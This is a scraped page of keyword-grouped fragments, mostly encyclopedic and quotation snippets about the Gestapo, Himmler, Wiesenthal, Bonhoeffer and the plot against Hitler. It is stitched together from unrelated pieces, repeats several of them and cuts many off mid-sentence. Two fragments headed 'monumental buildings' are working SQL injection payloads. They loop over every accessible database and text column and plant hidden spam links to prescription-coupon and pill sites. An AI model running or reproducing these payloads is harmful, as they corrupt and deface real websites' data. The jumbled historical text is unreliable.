fear. (File:Bundesarchiv Bild 183-R99621, Heinrich Himmler.jpg) '''Heinrich Luitpold Himmler (w:Heinrich Himmler)''' (7 October 1900 – 23 May 1945) was the commander of the German ''Schutzstaffel (w:Schutzstaffel)'' (SS (w:SS)) and one of the most powerful men in Nazi Germany. As Reichsführer-SS (w:Reichsführer-SS) he controlled the SS and the Gestapo (w:Gestapo). He was the founder and officer-in-charge of the Nazi concentration camps (w:Nazi concentration camps) and the ''Einsatzgruppen (w:Einsatzgruppen)'' death squads. * '''I believe in the magic and authority of words.''' ** René Char, in a message as a member of the French resistance, to his superiors in London, insisting that certain codewords "The library is on fire" be changed after a disastrous parachute drop which set a forest on fire and alerted the Gestapo (w:Gestapo) to the location of his group of Maquis (w:Maquis (World War II)) fighters, as quoted in ''René Char : This Smoke That Carried Us : Selected Poems'' (2004) edited by Susanne Dubroff Wiesenthal devoted almost his entire Post-WWII life tracking down and pursuing Nazi war criminals. In 1947 he and thirty colleages founded the Jewish Documentation Center in Linz (w:Linz), Austria which was devoted to collecting information on the whearabouts of war criminals and the documentation of their crimes. But the brewing cold war caused the U.S. and Soviet Union to quickly lose interest in the prosecution of Nazis. Wiesenthal closed the Linz centre in 1954 but gained new hope with the capture of Adolf Eichmann (w:Adolf Eichmann), whom he helped to track down. Possibly his biggest success was the capture and trial of Franz Stangl (w:Franz Stangl), commandant at the Treblinka (w:Treblinka) extermination camp. In total he and the Simon Wiesenthal center he set up in the U.S. in 1977 is thought to have brought some 1100 war criminals to justice. But he failed to capture Gestapo (w:Gestapo) chief Heinrich Müller (w:Heinrich Müller) and Auschwitz "doctor" Josef Mengele (w:Josef Mengele).


film feature

of the composition of the French police force itself, which still included many former members of the force in place during the World War II Vichy regime which had collaborated with the Gestapo to detain Jews, as for example in the Vel' d'Hiv Roundup of 16–17 July 1942. His feature-film (feature film) credits include more than 40 films; his first credited role was a German captain in ''Once Upon a Honeymoon'' (1942), starring Cary Grant and Ginger Rogers. He


critical roles

in Berlin, so he could phone regular army units all over Europe in an attempt to convince them to arrest leaders of Nazi political organizations such as the ''Sicherheitsdienst'' (SD) and the ''Gestapo''. Unfortunately, when General Helmuth Stieff, Chief of Operation at Army High Command (OKH), who had regular access to Hitler, backtracked from his earlier commitment to assassinate Hitler, Stauffenberg was forced to take on two critical roles: kill Hitler far from Berlin


monumental buildings'));declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''prescription discount coupons ''+char(60)+''a href="http:''+char(47)+char(47)+''blog.brunothalmann.com''+char(47)+''coupons"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''viagra savings and coupons'''' when 1 then ''''coupons for prescriptions'''' else ''''coupons for viagra'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' coupon for prescription''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

resist, Benz (2007)''A Concise History of the Third Reich'', pp. 42-47 and Pope Pius to issue the encyclical Mit brennender Sorge denouncing Nazism and warning Catholics against joining or supporting the Party. Some pastors, like the Protestant clergyman Dietrich Bonhoeffer, paid for their opposition with their lives. Bonhoeffer was an active opponent of Nazism in the German resistance movement. Arrested by the Gestapo in 1943, he was sent to Buchenwald

'', answered to a local commander known as the ''Inspekteur der Sicherheitspolizei und des SD'' ("Inspector of the Security Police and Security Service") who, in turn, was under the dual command of ''Referat N'' of the Gestapo and also his local SS and Police Leader Krausnick, Helmut, et al. (1968). ''Anatomy of the SS State'', pp. 146-147. The classic image of the Gestapo officer, dressed in trench coat and hat, can be attributed

no source listed while none were started by Gestapo s own "observations" of the people of Würzburg. Gellately, Robert. ''The Gestapo and German Society'', p 162. An examination of 213 denunciations in Düsseldorf showed that 37% were motivated by personal conflicts, no motive could be established in 39%, and 24% were motivated by support for the Nazi regime. Gellately, Robert. ''The Gestapo and German Society'', p 146. The Gestapo


called special

not; the "United Nations" emblem of the Federation was replaced in the Terran Empire symbol, which consisted of the Earth imposed over a vertical sword of conquest. Lange was replaced in April 1942 by SS-Captain Hans Bothmann. Under the leadership of Security Police and SD officers, the rank and file of the so-called Special Detachment (Sonderkommando) Lange -- later called the SS Special Detachment Bothmann -- was made up of Gestapo, Kriminalpolizei Criminal Police


monumental buildings);declare @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''malonetta hovedpine ''+char(60)+''a href="http:''+char(47)+char(47)+''nogvitaminerhvor.site''+char(47)+''malonetta-og-vit-aminer"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''malonetta ingredients'' when 1 then ''malonetta 40'' else ''malonetta og rigevidon'' end +char(60)+char(47)+''a''+char(62)+'' malonetta menstruation''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--

resist, Benz (2007)''A Concise History of the Third Reich'', pp. 42-47 and Pope Pius to issue the encyclical Mit brennender Sorge denouncing Nazism and warning Catholics against joining or supporting the Party. Some pastors, like the Protestant clergyman Dietrich Bonhoeffer, paid for their opposition with their lives. Bonhoeffer was an active opponent of Nazism in the German resistance movement. Arrested by the Gestapo in 1943, he was sent to Buchenwald

'', answered to a local commander known as the ''Inspekteur der Sicherheitspolizei und des SD'' ("Inspector of the Security Police and Security Service") who, in turn, was under the dual command of ''Referat N'' of the Gestapo and also his local SS and Police Leader Krausnick, Helmut, et al. (1968). ''Anatomy of the SS State'', pp. 146-147. The classic image of the Gestapo officer, dressed in trench coat and hat, can be attributed

no source listed while none were started by Gestapo s own "observations" of the people of Würzburg. Gellately, Robert. ''The Gestapo and German Society'', p 162. An examination of 213 denunciations in Düsseldorf showed that 37% were motivated by personal conflicts, no motive could be established in 39%, and 24% were motivated by support for the Nazi regime. Gellately, Robert. ''The Gestapo and German Society'', p 146. The Gestapo

Gestapo

The '''Gestapo''' (

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